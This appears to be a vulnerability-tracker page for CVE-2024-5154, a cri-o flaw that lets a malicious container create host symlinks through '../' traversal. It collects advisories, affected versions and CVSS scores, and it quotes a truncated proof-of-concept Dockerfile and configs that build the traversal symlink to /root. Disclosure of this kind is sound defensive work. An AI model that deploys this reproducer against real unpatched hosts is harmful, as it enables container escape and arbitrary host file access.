CVE-2024-5154
published 2024-06-12CVE-2024-5154: A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows…
PriorityP345high8.1CVSS 3.1
AVNACLPRHUIRSCCHIHAN
EPSS
1.24%
66.0th percentile
A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
Affected
12 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| github.com | cri-o_cri-o | >= 1.28.6 < 1.28.7 | 1.28.7 |
| github.com | cri-o_cri-o | >= 1.29.4 < 1.29.5 | 1.29.5 |
| github.com | cri-o_cri-o | >= 1.30.0 < 1.30.1 | 1.30.1 |
| kubernetes | cri-o | — | — |
| kubernetes | cri-o | — | — |
| kubernetes | cri-o | — | — |
| redhat | openshift_container_platform | — | — |
| redhat | openshift_container_platform | — | — |
| redhat | openshift_container_platform | — | — |
| redhat | openshift_container_platform | — | — |
| redhat | openshift_container_platform | — | — |
| redhat | openshift_container_platform | — | — |
CVSS provenance
nvdv3.18.1HIGHCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
vendor_redhat8.1HIGH
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
malicious container creates symlink "mtab" on the host External in github.com/cri-o/cri-o
osv·2024-06-14
CVE-2024-5154 malicious container creates symlink "mtab" on the host External in github.com/cri-o/cri-o
malicious container creates symlink "mtab" on the host External in github.com/cri-o/cri-o
malicious container creates symlink "mtab" on the host External in github.com/cri-o/cri-o
GHSA
malicious container creates symlink "mtab" on the host External
ghsa·2024-06-04
CVE-2024-5154 [HIGH] CWE-22 malicious container creates symlink "mtab" on the host External
malicious container creates symlink "mtab" on the host External
### Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile:
```
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .
```
and this container config:
```
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}
```
and this sandbox config
```
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"n
OSV
malicious container creates symlink "mtab" on the host External
osv·2024-06-04
CVE-2024-5154 [HIGH] malicious container creates symlink "mtab" on the host External
malicious container creates symlink "mtab" on the host External
### Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile:
```
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .
```
and this container config:
```
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}
```
and this sandbox config
```
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"n
Red Hat
cri-o: malicious container can create symlink on host
vendor_redhat·2024-05-27·CVSS 8.1
CVE-2024-5154 [HIGH] CWE-22 cri-o: malicious container can create symlink on host
cri-o: malicious container can create symlink on host
A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
A flaw was found in cri-o. A malicious container can create a symbolic link to arbitrary files on the host via directory traversal (“../“). This flaw allows the container to read and write to arbitrary files on the host system.
Statement: Red Hat OpenShift Container Platform (OCP) includes the vulnerable cri-o library, however it does not load untrusted container, therefore impact is reduced to Important.
Mitigation: There is no mitigation available for this vulnerability, a package update is required.
Packa
No detection rules found.
No public exploits indexed.
No writeups or analysis indexed.
https://access.redhat.com/errata/RHSA-2024:10818https://access.redhat.com/errata/RHSA-2024:3676https://access.redhat.com/errata/RHSA-2024:3700https://access.redhat.com/errata/RHSA-2024:4008https://access.redhat.com/errata/RHSA-2024:4159https://access.redhat.com/errata/RHSA-2024:4486https://access.redhat.com/security/cve/CVE-2024-5154https://bugzilla.redhat.com/show_bug.cgi?id=2280190https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8https://access.redhat.com/errata/RHSA-2024:3676https://access.redhat.com/errata/RHSA-2024:3700https://access.redhat.com/errata/RHSA-2024:4008https://access.redhat.com/errata/RHSA-2024:4486https://access.redhat.com/security/cve/CVE-2024-5154https://bugzilla.redhat.com/show_bug.cgi?id=2280190https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8
2024-06-12
Published